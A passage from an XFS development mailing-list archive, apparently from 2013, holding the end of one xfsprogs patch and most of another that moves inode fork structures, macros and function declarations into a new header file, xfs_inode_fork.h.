xfs_lsn_t *start_lsn, - struct xlog_in_core **commit_iclog, - uint flags); - -/* - * When we crack an atomic LSN, we sample it first so that the value will not - * change while we are cracking it into the component values. This means we - * will always get consistent component values to work from. This should always - * be used to sample and crack LSNs that are stored and updated in atomic - * variables. - */ -static inline void -xlog_crack_atomic_lsn(atomic64_t *lsn, uint *cycle, uint *block) -{ - xfs_lsn_t val = atomic64_read(lsn); - - *cycle = CYCLE_LSN(val); - *block = BLOCK_LSN(val); -} - -/* - * Calculate and assign a value to an atomic LSN variable from component pieces. - */ -static inline void -xlog_assign_atomic_lsn(atomic64_t *lsn, uint cycle, uint block) -{ - atomic64_set(lsn, xlog_assign_lsn(cycle, block)); -} - -/* - * When we crack the grant head, we sample it first so that the value will not - * change while we are cracking it into the component values. This means we - * will always get consistent component values to work from. - */ -static inline void -xlog_crack_grant_head_val(int64_t val, int *cycle, int *space) -{ - *cycle = val >> 32; - *space = val & 0xffffffff; -} - -static inline void -xlog_crack_grant_head(atomic64_t *head, int *cycle, int *space) -{ - xlog_crack_grant_head_val(atomic64_read(head), cycle, space); -} - -static inline int64_t -xlog_assign_grant_head_val(int cycle, int space) -{ - return ((int64_t)cycle << 32) | space; -} - -static inline void -xlog_assign_grant_head(atomic64_t *head, int cycle, int space) -{ - atomic64_set(head, xlog_assign_grant_head_val(cycle, space)); -} - -/* - * Committed Item List interfaces - */ -int -xlog_cil_init(struct xlog *log); -void -xlog_cil_init_post_recovery(struct xlog *log); -void -xlog_cil_destroy(struct xlog *log); - -/* - * CIL force routines - */ -xfs_lsn_t -xlog_cil_force_lsn( - struct xlog *log, - xfs_lsn_t sequence); - -static inline void -xlog_cil_force(struct xlog *log) -{ - xlog_cil_force_lsn(log, log->l_cilp->xc_current_sequence); -} - -/* - * Unmount record type is used as a pseudo transaction type for the ticket. - * It's value must be outside the range of XFS_TRANS_* values. - */ -#define XLOG_UNMOUNT_REC_TYPE (-1U) - -/* - * Wrapper function for waiting on a wait queue serialised against wakeups - * by a spinlock. This matches the semantics of all the wait queues used in the - * log code. - */ -static inline void xlog_wait(wait_queue_head_t *wq, spinlock_t *lock) -{ - DECLARE_WAITQUEUE(wait, current); - - add_wait_queue_exclusive(wq, &wait); - __set_current_state(TASK_UNINTERRUPTIBLE); - spin_unlock(lock); - schedule(); - remove_wait_queue(wq, &wait); -} -#endif /* __KERNEL__ */ - -#endif /* __XFS_LOG_PRIV_H__ */ diff --git a/libxfs/rdwr.c b/libxfs/rdwr.c index 93beb23..92a90f1 100644 --- a/libxfs/rdwr.c +++ b/libxfs/rdwr.c @@ -17,8 +17,6 @@ */ #include -#include -#include #include "init.h" #define BDSTRAT_SIZE (256 * 1024) diff --git a/libxlog/xfs_log_recover.c b/libxlog/xfs_log_recover.c index 9394988..f3cda77 100644 --- a/libxlog/xfs_log_recover.c +++ b/libxlog/xfs_log_recover.c @@ -26,6 +26,7 @@ (0); \ }) +#define BLK_AVG(blk1, blk2) ((blk1+blk2) >> 1) /* * Verify the given count of basic blocks is valid number of blocks @@ -1034,6 +1035,8 @@ xlog_recover_add_item( list_add_tail(&item->ri_list, head); } +#define BLK_AVG(blk1, blk2) ((blk1+blk2) >> 1) + STATIC int xlog_recover_add_to_cont_trans( struct xlog *log, -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2F91829E02 for ; Wed, 4 Sep 2013 17:21:59 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C3410AC005 for ; Wed, 4 Sep 2013 15:21:58 -0700 (PDT) X-ASG-Debug-ID: 1378333308-04bdf02f23d82960002-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id DfdIX4gAnsCmjfwV for ; Wed, 04 Sep 2013 15:21:49 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnkIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBRoBDC8WChMIGDE5AxsZiAG6No4VDQaFXAOMTZJNikGDMiqBLAEf Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:41 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLDA-0007dl-1h for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLDA-0003tJ-11 for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 27/55] xfs: move inode fork definitions to a new header file Date: Thu, 5 Sep 2013 08:05:31 +1000 X-ASG-Orig-Subj: [PATCH 27/55] xfs: move inode fork definitions to a new header file Message-Id: <1378332359-14737-28-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333309 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The inode fork definitions are a combination of on-disk format definition and in-memory tracking and manipulation. They are both shared with userspace, so move them all into their own file so sharing is easy to do and track. This removes all inode fork related information from xfs_inode.h. Do the same for the all the C code that currently resides in xfs_inode.c for the same reason. Signed-off-by: Dave Chinner --- include/xfs_bmap_btree.h | 2 + include/xfs_inode.h | 134 +--- include/xfs_inode_fork.h | 171 +++++ libxfs/Makefile | 7 +- libxfs/xfs_inode.c | 1878 +-------------------------------------------- libxfs/xfs_inode_fork.c | 1890 ++++++++++++++++++++++++++++++++++++++++++++++ 6 files changed, 2072 insertions(+), 2010 deletions(-) create mode 100644 include/xfs_inode_fork.h create mode 100644 libxfs/xfs_inode_fork.c diff --git a/include/xfs_bmap_btree.h b/include/xfs_bmap_btree.h index 20d66b0..f1069bb 100644 --- a/include/xfs_bmap_btree.h +++ b/include/xfs_bmap_btree.h @@ -197,6 +197,8 @@ typedef __be64 xfs_bmbt_ptr_t, xfs_bmdr_ptr_t; #define XFS_BMDR_SPACE_CALC(nrecs) \ (int)(sizeof(xfs_bmdr_block_t) + \ ((nrecs) * (sizeof(xfs_bmbt_key_t) + sizeof(xfs_bmbt_ptr_t)))) +#define XFS_BMAP_BMDR_SPACE(bb) \ + (XFS_BMDR_SPACE_CALC(be16_to_cpu((bb)->bb_numrecs))) /* * Maximum number of bmap btree levels. diff --git a/include/xfs_inode.h b/include/xfs_inode.h index 1e92338..6ee8bb7 100644 --- a/include/xfs_inode.h +++ b/include/xfs_inode.h @@ -22,58 +22,7 @@ struct posix_acl; struct xfs_dinode; struct xfs_inode; -/* - * The following xfs_ext_irec_t struct introduces a second (top) level - * to the in-core extent allocation scheme. These structs are allocated - * in a contiguous block, creating an indirection array where each entry - * (irec) contains a pointer to a buffer of in-core extent records which - * it manages. Each extent buffer is 4k in size, since 4k is the system - * page size on Linux i386 and systems with larger page sizes don't seem - * to gain much, if anything, by using their native page size as the - * extent buffer size. Also, using 4k extent buffers everywhere provides - * a consistent interface for CXFS across different platforms. - * - * There is currently no limit on the number of irec's (extent lists) - * allowed, so heavily fragmented files may require an indirection array - * which spans multiple system pages of memory. The number of extents - * which would require this amount of contiguous memory is very large - * and should not cause problems in the foreseeable future. However, - * if the memory needed for the contiguous array ever becomes a problem, - * it is possible that a third level of indirection may be required. - */ -typedef struct xfs_ext_irec { - xfs_bmbt_rec_host_t *er_extbuf; /* block of extent records */ - xfs_extnum_t er_extoff; /* extent offset in file */ - xfs_extnum_t er_extcount; /* number of extents in page/block */ -} xfs_ext_irec_t; - -/* - * File incore extent information, present for each of data & attr forks. - */ -#define XFS_IEXT_BUFSZ 4096 -#define XFS_LINEAR_EXTS (XFS_IEXT_BUFSZ / (uint)sizeof(xfs_bmbt_rec_t)) -#define XFS_INLINE_EXTS 2 -#define XFS_INLINE_DATA 32 -typedef struct xfs_ifork { - int if_bytes; /* bytes in if_u1 */ - int if_real_bytes; /* bytes allocated in if_u1 */ - struct xfs_btree_block *if_broot; /* file's incore btree root */ - short if_broot_bytes; /* bytes allocated for root */ - unsigned char if_flags; /* per-fork flags */ - union { - xfs_bmbt_rec_host_t *if_extents;/* linear map file exts */ - xfs_ext_irec_t *if_ext_irec; /* irec map file exts */ - char *if_data; /* inline file data */ - } if_u1; - union { - xfs_bmbt_rec_host_t if_inline_ext[XFS_INLINE_EXTS]; - /* very small file extents */ - char if_inline_data[XFS_INLINE_DATA]; - /* very small file data */ - xfs_dev_t if_rdev; /* dev number if special */ - uuid_t if_uuid; /* mount point value */ - } if_u2; -} xfs_ifork_t; +#include "xfs_inode_fork.h" /* * Inode location information. Stored in the inode and passed to @@ -114,57 +63,6 @@ struct xfs_imap { #define XFS_ICHGTIME_CHG 0x2 /* inode field change timestamp */ #define XFS_ICHGTIME_CREATE 0x4 /* inode create timestamp */ -/* - * Per-fork incore inode flags. - */ -#define XFS_IFINLINE 0x01 /* Inline data is read in */ -#define XFS_IFEXTENTS 0x02 /* All extent pointers are read in */ -#define XFS_IFBROOT 0x04 /* i_broot points to the bmap b-tree root */ -#define XFS_IFEXTIREC 0x08 /* Indirection array of extent blocks */ - -/* - * Fork handling. - */ - -#define XFS_IFORK_Q(ip) ((ip)->i_d.di_forkoff != 0) -#define XFS_IFORK_BOFF(ip) ((int)((ip)->i_d.di_forkoff << 3)) - -#define XFS_IFORK_PTR(ip,w) \ - ((w) == XFS_DATA_FORK ? \ - &(ip)->i_df : \ - (ip)->i_afp) -#define XFS_IFORK_DSIZE(ip) \ - (XFS_IFORK_Q(ip) ? \ - XFS_IFORK_BOFF(ip) : \ - XFS_LITINO((ip)->i_mount, (ip)->i_d.di_version)) -#define XFS_IFORK_ASIZE(ip) \ - (XFS_IFORK_Q(ip) ? \ - XFS_LITINO((ip)->i_mount, (ip)->i_d.di_version) - \ - XFS_IFORK_BOFF(ip) : \ - 0) -#define XFS_IFORK_SIZE(ip,w) \ - ((w) == XFS_DATA_FORK ? \ - XFS_IFORK_DSIZE(ip) : \ - XFS_IFORK_ASIZE(ip)) -#define XFS_IFORK_FORMAT(ip,w) \ - ((w) == XFS_DATA_FORK ? \ - (ip)->i_d.di_format : \ - (ip)->i_d.di_aformat) -#define XFS_IFORK_FMT_SET(ip,w,n) \ - ((w) == XFS_DATA_FORK ? \ - ((ip)->i_d.di_format = (n)) : \ - ((ip)->i_d.di_aformat = (n))) -#define XFS_IFORK_NEXTENTS(ip,w) \ - ((w) == XFS_DATA_FORK ? \ - (ip)->i_d.di_nextents : \ - (ip)->i_d.di_anextents) -#define XFS_IFORK_NEXT_SET(ip,w,n) \ - ((w) == XFS_DATA_FORK ? \ - ((ip)->i_d.di_nextents = (n)) : \ - ((ip)->i_d.di_anextents = (n))) -#define XFS_IFORK_MAXEXT(ip, w) \ - (XFS_IFORK_SIZE(ip, w) / sizeof(xfs_bmbt_rec_t)) - #ifdef __KERNEL__ @@ -515,35 +413,6 @@ int xfs_iread(struct xfs_mount *, struct xfs_trans *, void xfs_dinode_calc_crc(struct xfs_mount *, struct xfs_dinode *); void xfs_dinode_to_disk(struct xfs_dinode *, struct xfs_icdinode *); -void xfs_idestroy_fork(struct xfs_inode *, int); -void xfs_idata_realloc(struct xfs_inode *, int, int); -void xfs_iroot_realloc(struct xfs_inode *, int, int); -int xfs_iread_extents(struct xfs_trans *, struct xfs_inode *, int); -int xfs_iextents_copy(struct xfs_inode *, xfs_bmbt_rec_t *, int); - -xfs_bmbt_rec_host_t *xfs_iext_get_ext(xfs_ifork_t *, xfs_extnum_t); -void xfs_iext_insert(struct xfs_inode *, xfs_extnum_t, xfs_extnum_t, - xfs_bmbt_irec_t *, int); -void xfs_iext_add(xfs_ifork_t *, xfs_extnum_t, int); -void xfs_iext_add_indirect_multi(xfs_ifork_t *, int, xfs_extnum_t, int); -void xfs_iext_remove(struct xfs_inode *, xfs_extnum_t, int, int); -void xfs_iext_remove_inline(xfs_ifork_t *, xfs_extnum_t, int); -void xfs_iext_remove_direct(xfs_ifork_t *, xfs_extnum_t, int); -void xfs_iext_remove_indirect(xfs_ifork_t *, xfs_extnum_t, int); -void xfs_iext_realloc_direct(xfs_ifork_t *, int); -void xfs_iext_direct_to_inline(xfs_ifork_t *, xfs_extnum_t); -void xfs_iext_inline_to_direct(xfs_ifork_t *, int); -void xfs_iext_destroy(xfs_ifork_t *); -xfs_bmbt_rec_host_t *xfs_iext_bno_to_ext(xfs_ifork_t *, xfs_fileoff_t, int *); -xfs_ext_irec_t *xfs_iext_bno_to_irec(xfs_ifork_t *, xfs_fileoff_t, int *); -xfs_ext_irec_t *xfs_iext_idx_to_irec(xfs_ifork_t *, xfs_extnum_t *, int *, int); -void xfs_iext_irec_init(xfs_ifork_t *); -xfs_ext_irec_t *xfs_iext_irec_new(xfs_ifork_t *, int); -void xfs_iext_irec_remove(xfs_ifork_t *, int); -void xfs_iext_irec_compact(xfs_ifork_t *); -void xfs_iext_irec_compact_pages(xfs_ifork_t *); -void xfs_iext_irec_compact_full(xfs_ifork_t *); -void xfs_iext_irec_update_extoffs(xfs_ifork_t *, int, int); bool xfs_can_free_eofblocks(struct xfs_inode *, bool); #define xfs_ipincount(ip) ((unsigned int) atomic_read(&ip->i_pincount)) @@ -554,7 +423,6 @@ void xfs_inobp_check(struct xfs_mount *, struct xfs_buf *); #define xfs_inobp_check(mp, bp) #endif /* DEBUG */ -extern struct kmem_zone *xfs_ifork_zone; extern struct kmem_zone *xfs_inode_zone; extern const struct xfs_buf_ops xfs_inode_buf_ops; diff --git a/include/xfs_inode_fork.h b/include/xfs_inode_fork.h new file mode 100644 index 0000000..28661a0 --- /dev/null +++ b/include/xfs_inode_fork.h @@ -0,0 +1,171 @@ +/* + * Copyright (c) 2000-2003,2005 Silicon Graphics, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef __XFS_INODE_FORK_H__ +#define __XFS_INODE_FORK_H__ + +struct xfs_inode_log_item; + +/* + * The following xfs_ext_irec_t struct introduces a second (top) level + * to the in-core extent allocation scheme. These structs are allocated + * in a contiguous block, creating an indirection array where each entry + * (irec) contains a pointer to a buffer of in-core extent records which + * it manages. Each extent buffer is 4k in size, since 4k is the system + * page size on Linux i386 and systems with larger page sizes don't seem + * to gain much, if anything, by using their native page size as the + * extent buffer size. Also, using 4k extent buffers everywhere provides + * a consistent interface for CXFS across different platforms. + * + * There is currently no limit on the number of irec's (extent lists) + * allowed, so heavily fragmented files may require an indirection array + * which spans multiple system pages of memory. The number of extents + * which would require this amount of contiguous memory is very large + * and should not cause problems in the foreseeable future. However, + * if the memory needed for the contiguous array ever becomes a problem, + * it is possible that a third level of indirection may be required. + */ +typedef struct xfs_ext_irec { + xfs_bmbt_rec_host_t *er_extbuf; /* block of extent records */ + xfs_extnum_t er_extoff; /* extent offset in file */ + xfs_extnum_t er_extcount; /* number of extents in page/block */ +} xfs_ext_irec_t; + +/* + * File incore extent information, present for each of data & attr forks. + */ +#define XFS_IEXT_BUFSZ 4096 +#define XFS_LINEAR_EXTS (XFS_IEXT_BUFSZ / (uint)sizeof(xfs_bmbt_rec_t)) +#define XFS_INLINE_EXTS 2 +#define XFS_INLINE_DATA 32 +typedef struct xfs_ifork { + int if_bytes; /* bytes in if_u1 */ + int if_real_bytes; /* bytes allocated in if_u1 */ + struct xfs_btree_block *if_broot; /* file's incore btree root */ + short if_broot_bytes; /* bytes allocated for root */ + unsigned char if_flags; /* per-fork flags */ + union { + xfs_bmbt_rec_host_t *if_extents;/* linear map file exts */ + xfs_ext_irec_t *if_ext_irec; /* irec map file exts */ + char *if_data; /* inline file data */ + } if_u1; + union { + xfs_bmbt_rec_host_t if_inline_ext[XFS_INLINE_EXTS]; + /* very small file extents */ + char if_inline_data[XFS_INLINE_DATA]; + /* very small file data */ + xfs_dev_t if_rdev; /* dev number if special */ + uuid_t if_uuid; /* mount point value */ + } if_u2; +} xfs_ifork_t; + +/* + * Per-fork incore inode flags. + */ +#define XFS_IFINLINE 0x01 /* Inline data is read in */ +#define XFS_IFEXTENTS 0x02 /* All extent pointers are read in */ +#define XFS_IFBROOT 0x04 /* i_broot points to the bmap b-tree root */ +#define XFS_IFEXTIREC 0x08 /* Indirection array of extent blocks */ + +/* + * Fork handling. + */ + +#define XFS_IFORK_Q(ip) ((ip)->i_d.di_forkoff != 0) +#define XFS_IFORK_BOFF(ip) ((int)((ip)->i_d.di_forkoff << 3)) + +#define XFS_IFORK_PTR(ip,w) \ + ((w) == XFS_DATA_FORK ? \ + &(ip)->i_df : \ + (ip)->i_afp) +#define XFS_IFORK_DSIZE(ip) \ + (XFS_IFORK_Q(ip) ? \ + XFS_IFORK_BOFF(ip) : \ + XFS_LITINO((ip)->i_mount, (ip)->i_d.di_version)) +#define XFS_IFORK_ASIZE(ip) \ + (XFS_IFORK_Q(ip) ? \ + XFS_LITINO((ip)->i_mount, (ip)->i_d.di_version) - \ + XFS_IFORK_BOFF(ip) : \ + 0) +#define XFS_IFORK_SIZE(ip,w) \ + ((w) == XFS_DATA_FORK ? \ + XFS_IFORK_DSIZE(ip) : \ + XFS_IFORK_ASIZE(ip)) +#define XFS_IFORK_FORMAT(ip,w) \ + ((w) == XFS_DATA_FORK ? \ + (ip)->i_d.di_format : \ + (ip)->i_d.di_aformat) +#define XFS_IFORK_FMT_SET(ip,w,n) \ + ((w) == XFS_DATA_FORK ? \ + ((ip)->i_d.di_format = (n)) : \ + ((ip)->i_d.di_aformat = (n))) +#define XFS_IFORK_NEXTENTS(ip,w) \ + ((w) == XFS_DATA_FORK ? \ + (ip)->i_d.di_nextents : \ + (ip)->i_d.di_anextents) +#define XFS_IFORK_NEXT_SET(ip,w,n) \ + ((w) == XFS_DATA_FORK ? \ + ((ip)->i_d.di_nextents = (n)) : \ + ((ip)->i_d.di_anextents = (n))) +#define XFS_IFORK_MAXEXT(ip, w) \ + (XFS_IFORK_SIZE(ip, w) / sizeof(xfs_bmbt_rec_t)) + +int xfs_iformat_fork(struct xfs_inode *, struct xfs_dinode *); +void xfs_iflush_fork(struct xfs_inode *, struct xfs_dinode *, + struct xfs_inode_log_item *, int, + struct xfs_buf *); +void xfs_idestroy_fork(struct xfs_inode *, int); +void xfs_idata_realloc(struct xfs_inode *, int, int); +void xfs_iroot_realloc(struct xfs_inode *, int, int); +int xfs_iread_extents(struct xfs_trans *, struct xfs_inode *, int); +int xfs_iextents_copy(struct xfs_inode *, struct xfs_bmbt_rec *, + int); + +struct xfs_bmbt_rec_host * + xfs_iext_get_ext(struct xfs_ifork *, xfs_extnum_t); +void xfs_iext_insert(struct xfs_inode *, xfs_extnum_t, xfs_extnum_t, + struct xfs_bmbt_irec *, int); +void xfs_iext_add(struct xfs_ifork *, xfs_extnum_t, int); +void xfs_iext_add_indirect_multi(struct xfs_ifork *, int, + xfs_extnum_t, int); +void xfs_iext_remove(struct xfs_inode *, xfs_extnum_t, int, int); +void xfs_iext_remove_inline(struct xfs_ifork *, xfs_extnum_t, int); +void xfs_iext_remove_direct(struct xfs_ifork *, xfs_extnum_t, int); +void xfs_iext_remove_indirect(struct xfs_ifork *, xfs_extnum_t, int); +void xfs_iext_realloc_direct(struct xfs_ifork *, int); +void xfs_iext_direct_to_inline(struct xfs_ifork *, xfs_extnum_t); +void xfs_iext_inline_to_direct(struct xfs_ifork *, int); +void xfs_iext_destroy(struct xfs_ifork *); +struct xfs_bmbt_rec_host * + xfs_iext_bno_to_ext(struct xfs_ifork *, xfs_fileoff_t, int *); +struct xfs_ext_irec * + xfs_iext_bno_to_irec(struct xfs_ifork *, xfs_fileoff_t, int *); +struct xfs_ext_irec * + xfs_iext_idx_to_irec(struct xfs_ifork *, xfs_extnum_t *, int *, + int); +void xfs_iext_irec_init(struct xfs_ifork *); +struct xfs_ext_irec * + xfs_iext_irec_new(struct xfs_ifork *, int); +void xfs_iext_irec_remove(struct xfs_ifork *, int); +void xfs_iext_irec_compact(struct xfs_ifork *); +void xfs_iext_irec_compact_pages(struct xfs_ifork *); +void xfs_iext_irec_compact_full(struct xfs_ifork *); +void xfs_iext_irec_update_extoffs(struct xfs_ifork *, int, int); + +extern struct kmem_zone *xfs_ifork_zone; + +#endif /* __XFS_INODE_FORK_H__ */ diff --git a/libxfs/Makefile b/libxfs/Makefile index 64b5979..ed978f9 100644 --- a/libxfs/Makefile +++ b/libxfs/Makefile @@ -12,7 +12,12 @@ LT_AGE = 0 HFILES = xfs.h init.h xfs_dir2_priv.h crc32defs.h crc32table.h CFILES = cache.c init.c kmem.c logitem.c radix-tree.c rdwr.c trans.c util.c \ - xfs_alloc.c xfs_ialloc.c xfs_inode.c xfs_btree.c xfs_alloc_btree.c \ + xfs_alloc.c \ + xfs_alloc_btree.c \ + xfs_btree.c \ + xfs_ialloc.c \ + xfs_inode.c \ + xfs_inode_fork.c \ xfs_ialloc_btree.c xfs_bmap_btree.c xfs_da_btree.c \ xfs_dir2.c xfs_dir2_leaf.c xfs_attr_leaf.c xfs_dir2_block.c \ xfs_dir2_node.c xfs_dir2_data.c xfs_dir2_sf.c xfs_bmap.c \ diff --git a/libxfs/xfs_inode.c b/libxfs/xfs_inode.c index d6513b9..7efe1b3 100644 --- a/libxfs/xfs_inode.c +++ b/libxfs/xfs_inode.c @@ -18,7 +18,6 @@ #include -kmem_zone_t *xfs_ifork_zone; kmem_zone_t *xfs_inode_zone; /* @@ -27,38 +26,6 @@ kmem_zone_t *xfs_inode_zone; */ #define XFS_ITRUNC_MAX_EXTENTS 2 -STATIC int xfs_iformat_local(xfs_inode_t *, xfs_dinode_t *, int, int); -STATIC int xfs_iformat_extents(xfs_inode_t *, xfs_dinode_t *, int); -STATIC int xfs_iformat_btree(xfs_inode_t *, xfs_dinode_t *, int); - -#ifdef DEBUG -/* - * Make sure that the extents in the given memory buffer - * are valid. - */ -STATIC void -xfs_validate_extents( - xfs_ifork_t *ifp, - int nrecs, - xfs_exntfmt_t fmt) -{ - xfs_bmbt_irec_t irec; - xfs_bmbt_rec_host_t rec; - int i; - - for (i = 0; i < nrecs; i++) { - xfs_bmbt_rec_host_t *ep = xfs_iext_get_ext(ifp, i); - rec.l0 = get_unaligned(&ep->l0); - rec.l1 = get_unaligned(&ep->l1); - xfs_bmbt_get_all(&rec, &irec); - if (fmt == XFS_EXTFMT_NOSTATE) - ASSERT(irec.br_state == XFS_EXT_NORM); - } -} -#else /* DEBUG */ -#define xfs_validate_extents(ifp, nrecs, fmt) -#endif /* DEBUG */ - /* * Check that none of the inode's in the buffer have a next * unlinked field of 0. @@ -193,351 +160,6 @@ xfs_imap_to_bp( return 0; } -/* - * Move inode type and inode format specific information from the - * on-disk inode to the in-core inode. For fifos, devs, and sockets - * this means set if_rdev to the proper value. For files, directories, - * and symlinks this means to bring in the in-line data or extent - * pointers. For a file in B-tree format, only the root is immediately - * brought in-core. The rest will be in-lined in if_extents when it - * is first referenced (see xfs_iread_extents()). - */ -STATIC int -xfs_iformat( - xfs_inode_t *ip, - xfs_dinode_t *dip) -{ - xfs_attr_shortform_t *atp; - int size; - int error = 0; - xfs_fsize_t di_size; - - if (unlikely(be32_to_cpu(dip->di_nextents) + - be16_to_cpu(dip->di_anextents) > - be64_to_cpu(dip->di_nblocks))) { - xfs_warn(ip->i_mount, - "corrupt dinode %Lu, extent total = %d, nblocks = %Lu.", - (unsigned long long)ip->i_ino, - (int)(be32_to_cpu(dip->di_nextents) + - be16_to_cpu(dip->di_anextents)), - (unsigned long long) - be64_to_cpu(dip->di_nblocks)); - XFS_CORRUPTION_ERROR("xfs_iformat(1)", XFS_ERRLEVEL_LOW, - ip->i_mount, dip); - return XFS_ERROR(EFSCORRUPTED); - } - - if (unlikely(dip->di_forkoff > ip->i_mount->m_sb.sb_inodesize)) { - xfs_warn(ip->i_mount, "corrupt dinode %Lu, forkoff = 0x%x.", - (unsigned long long)ip->i_ino, - dip->di_forkoff); - XFS_CORRUPTION_ERROR("xfs_iformat(2)", XFS_ERRLEVEL_LOW, - ip->i_mount, dip); - return XFS_ERROR(EFSCORRUPTED); - } - - if (unlikely((ip->i_d.di_flags & XFS_DIFLAG_REALTIME) && - !ip->i_mount->m_rtdev)) { - xfs_warn(ip->i_mount, - "corrupt dinode %Lu, has realtime flag set.", - ip->i_ino); - XFS_CORRUPTION_ERROR("xfs_iformat(realtime)", - XFS_ERRLEVEL_LOW, ip->i_mount, dip); - return XFS_ERROR(EFSCORRUPTED); - } - - switch (ip->i_d.di_mode & S_IFMT) { - case S_IFIFO: - case S_IFCHR: - case S_IFBLK: - case S_IFSOCK: - if (unlikely(dip->di_format != XFS_DINODE_FMT_DEV)) { - XFS_CORRUPTION_ERROR("xfs_iformat(3)", XFS_ERRLEVEL_LOW, - ip->i_mount, dip); - return XFS_ERROR(EFSCORRUPTED); - } - ip->i_d.di_size = 0; - ip->i_df.if_u2.if_rdev = xfs_dinode_get_rdev(dip); - break; - - case S_IFREG: - case S_IFLNK: - case S_IFDIR: - switch (dip->di_format) { - case XFS_DINODE_FMT_LOCAL: - /* - * no local regular files yet - */ - if (unlikely(S_ISREG(be16_to_cpu(dip->di_mode)))) { - xfs_warn(ip->i_mount, - "corrupt inode %Lu (local format for regular file).", - (unsigned long long) ip->i_ino); - XFS_CORRUPTION_ERROR("xfs_iformat(4)", - XFS_ERRLEVEL_LOW, - ip->i_mount, dip); - return XFS_ERROR(EFSCORRUPTED); - } - - di_size = be64_to_cpu(dip->di_size); - if (unlikely(di_size > XFS_DFORK_DSIZE(dip, ip->i_mount))) { - xfs_warn(ip->i_mount, - "corrupt inode %Lu (bad size %Ld for local inode).", - (unsigned long long) ip->i_ino, - (long long) di_size); - XFS_CORRUPTION_ERROR("xfs_iformat(5)", - XFS_ERRLEVEL_LOW, - ip->i_mount, dip); - return XFS_ERROR(EFSCORRUPTED); - } - - size = (int)di_size; - error = xfs_iformat_local(ip, dip, XFS_DATA_FORK, size); - break; - case XFS_DINODE_FMT_EXTENTS: - error = xfs_iformat_extents(ip, dip, XFS_DATA_FORK); - break; - case XFS_DINODE_FMT_BTREE: - error = xfs_iformat_btree(ip, dip, XFS_DATA_FORK); - break; - default: - XFS_ERROR_REPORT("xfs_iformat(6)", XFS_ERRLEVEL_LOW, - ip->i_mount); - return XFS_ERROR(EFSCORRUPTED); - } - break; - - default: - XFS_ERROR_REPORT("xfs_iformat(7)", XFS_ERRLEVEL_LOW, ip->i_mount); - return XFS_ERROR(EFSCORRUPTED); - } - if (error) { - return error; - } - if (!XFS_DFORK_Q(dip)) - return 0; - - ASSERT(ip->i_afp == NULL); - ip->i_afp = kmem_zone_zalloc(xfs_ifork_zone, KM_SLEEP | KM_NOFS); - - switch (dip->di_aformat) { - case XFS_DINODE_FMT_LOCAL: - atp = (xfs_attr_shortform_t *)XFS_DFORK_APTR(dip); - size = be16_to_cpu(atp->hdr.totsize); - - if (unlikely(size < sizeof(struct xfs_attr_sf_hdr))) { - xfs_warn(ip->i_mount, - "corrupt inode %Lu (bad attr fork size %Ld).", - (unsigned long long) ip->i_ino, - (long long) size); - XFS_CORRUPTION_ERROR("xfs_iformat(8)", - XFS_ERRLEVEL_LOW, - ip->i_mount, dip); - return XFS_ERROR(EFSCORRUPTED); - } - - error = xfs_iformat_local(ip, dip, XFS_ATTR_FORK, size); - break; - case XFS_DINODE_FMT_EXTENTS: - error = xfs_iformat_extents(ip, dip, XFS_ATTR_FORK); - break; - case XFS_DINODE_FMT_BTREE: - error = xfs_iformat_btree(ip, dip, XFS_ATTR_FORK); - break; - default: - error = XFS_ERROR(EFSCORRUPTED); - break; - } - if (error) { - kmem_zone_free(xfs_ifork_zone, ip->i_afp); - ip->i_afp = NULL; - xfs_idestroy_fork(ip, XFS_DATA_FORK); - } - return error; -} - -/* - * The file is in-lined in the on-disk inode. - * If it fits into if_inline_data, then copy - * it there, otherwise allocate a buffer for it - * and copy the data there. Either way, set - * if_data to point at the data. - * If we allocate a buffer for the data, make - * sure that its size is a multiple of 4 and - * record the real size in i_real_bytes. - */ -STATIC int 